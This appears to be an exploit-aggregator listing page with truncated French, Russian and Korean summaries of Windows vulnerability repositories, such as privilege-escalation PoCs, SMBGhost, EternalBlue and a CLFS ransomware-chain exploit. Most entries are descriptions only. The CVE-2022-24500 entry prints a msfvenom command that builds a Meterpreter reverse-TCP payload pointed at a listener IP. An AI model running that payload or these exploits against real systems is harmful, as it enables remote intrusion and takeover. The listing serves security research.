CVE-2025-62454

Ceci n'est pas une exploitation, juste une POC root@kitploit: BUGCHECKCODE: 50 BUGCHECKP1: ffff808b75973000 BUGCHECKP2: 2 BUGCHECKP3: fffff803df12ddda BUGCHECKP4: 0 READADDRESS: ffff808b75973000 Special pool MMINTERNALCODE: 0 IMAGENAME: cldflt.sys MODULENAME: cldflt FAULTINGMODULE: fffff803df1100...

Reset-inetpub

inetpub 초기화 이 스크립트는 KB5055523 Windows 업데이트 이후 CVE-2025-21204에 대한 완화 조치로 필요한 %SYSTEMDRIVE%\inetpub 폴더와 해당 기본 보안 권한을 복원합니다. 이 스크립트는 보안 목적을 이해하기 전에 이 폴더를 삭제한 사용자가 IIS 기능을 활성화/비활성화하지 않고도 이 폴더를 복원하려는 경우를 위한 것입니다. 이 스크립트가 수행하는 작업 1. %SYSTEMDRIVE%\inetpub 디렉터리가 없으면 생성합니다. 2. inetpub 폴더 자체에 보안 완화에 필요한 기본...

CVE-2023-38146

PoC для эксплойта ThemeBleed CVE-2023-38146 темы Windows 11 Сильно вдохновлено https://github.com/gabe-k/themebleed, который работает только на Windows именно поэтому я решил написать это. Использован модифицированный код из impacket smbserver.py...

CVE-2021-21551

CVE-2021-21551 Уязвимость повышения привилегий драйвера Dell CVE-2021-21551 Описание Драйвер Dell dbutil23.sys содержит уязвимость недостаточного контроля доступа, которая может привести к повышению привилегий, отказу в обслуживании или раскрытию информации. Требуется доступ локального...

CVE-2021-26868

CVE-2021-26868 Exploit LPE Windows 10...

CVE-2026-34344

CVE-2026-34344 Информация Эта уязвимость была первоначально обнаружена @angelboy. Я воспроизвёл её независимо в образовательных целях и для разбора. Подробности обновления Microsoft: CVE-2026-34344 PoC демонстрирует сбой из-за уязвимости Type Confusion. Однако у меня нет примитива для эксплуатаци...

CVE-2024-30088__Windows-TOCTOU-exploit

CVE-2024-30088 – WinRM Adapted PoC 📌 Краткое описание Это модифицированная версия оригинального эксплойта CVE-2024-30088, адаптированная для работы в неинтерактивных средах WinRM. Оригинальный PoC запускает интерактивный cmd.exe, который не работает через WinRM. Эта версия ориентирована на...

CVE-2026-33829-Writeup

Разбор CVE-2026-33829 Практическое исследование уязвимости: CVE-2026-33829 принудительная NTLM-аутентификация через средство захвата фрагментов Windows Краткое описание В данном материале подробно описывается техническое воспроизведение CVE-2026-33829 — уязвимости раскрытия информации в современн...

GiveMeKernel

GiveMeKernel Ce dépôt contient un exploit de preuve de concept PoC condensé et optimisé pour CVE-2024-35250. Le code est basé sur le PoC original publié par Varwara. Avertissement : Ce PoC est uniquement à des fins éducatives et de recherche. Utilisez-le de manière responsable et uniquement sur d...

CVE-2025-1974

cve-2025-1974-win11-attack-defense-lab Первый на Windows 11 образовательный репозиторий для изучения CVE-2025-1974 в безопасной, невооруженной лаборатории ATTACK + DEFENSE. Проект предназначен для университетских курсов, командных демонстраций и создания скриншотов, готовых для отчетов. Он...

CVE-2020-1020-Exploit

CVE-2020-1020 Type1 Font Pool Overflow LPE Exploit Поддерживаемые ОС : Windows 7,8,8.1 x64...

CVE-2020-1350-DoS

CVE-2020-1350 SIGRed - Эксплойт DoS DNS Windows Авторство бага полностью принадлежит Check Point Research @cpresearch, которые сделали невероятное описание этой уязвимости респект @sagitz за пост. Их описание можно найти здесь. Этот эксплойт написан @maxpl0it Краткое описание работы: 1. В локальн...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automatisation de l'exploitation et détection Ce programme Python est un wrapper de la vulnérabilité RCE SMBGhost. Tout le crédit pour l'exploit fonctionnel revient à chompie1337. Tout le crédit pour le scanner revient à ioncodes. J'ai simplement automatisé ces fonctions en...

CVE-2024-38472

Windows의 Apache HTTP Server에 있는 SSRF 취약점CVE-2024-38472을 위한 RCE원격 코드 실행 Metasploit 모듈을 만드는 것은 까다롭습니다. SSRF 자체가 직접적으로 RCE를 발생시키지 않기 때문입니다. 하지만 SSRF는 특히 내부 서비스와 상호 작용하거나 2차 취약점을 트리거하는 데 사용할 수 있는 경우, RCE를 달성하기 위한 한 단계가 될 수 있습니다. SSRF를 통한 RCE 전략 SSRF를 통해 RCE를 달성하려면 일반적으로 다음이 필요합니다: 1. SSRF를 통해 악용할 수 있...

Find-VulnerableElectronVersion

Find-VulnerableElectronVersion Сканирует исполняемый файл и определяет, был ли он создан с использованием версии Electron, уязвимой к уязвимости Chromium CVE-2023-4863/ CVE-2023-5129, с помощью утилиты Sysinternals Strings. Поддерживается только на устройствах Windows. Требуется установка...

LocalPotato_CVE-2023-21746

LocalPotato Уязвимость локального повышения привилегий LPE в Windows была сообщена Microsoft 9 сентября 2022 года Андреа Пьерини @decoderit и Антонио Кокомацци @splintercode. Уязвимость позволяла злоумышленнику с учётной записью с низкими привилегиями на хосте читать/записывать произвольные файлы...

WindowsSpyBlocker

À propos WindowsSpyBlocker 🛡️ est une application écrite en et fournie sous forme d' pour bloquer l'espionnage et le pistage sur les systèmes Windows...

CVE-2022-24500

CVE-2022-24500 Exploit RCE Vulnérabilité d'exécution de code à distance SMB Windows Vulnérabilité : Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 étape 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw...

VAPT-Report-on-SMB-Exploitation-in-Windows-10-Finance-Endpoint

Rapport VAPT sur l'exploitation SMB dans un point de terminaison Windows 10 du secteur financier Ce rapport décrit un engagement VAPT structuré axé sur la conformité PCI DSS, l'énumération des services SMB et l'exploitation de CVE-2017-0144 EternalBlue sur une machine Windows 10 au sein d'une...

CVE-2025-29824-Exploit

🚨 Exploit CVE-2025-29824 : Chaîne de Ransomware PipeMagic 📌 Aperçu de la vulnérabilité critique Faille d'élévation de privilèges dans Windows CLFS → Détournement de privilège SYSTEM Exploité dans des attaques de ransomware actives par Storm-2460 Threat Group 🖥️ Systèmes affectés Développer la list...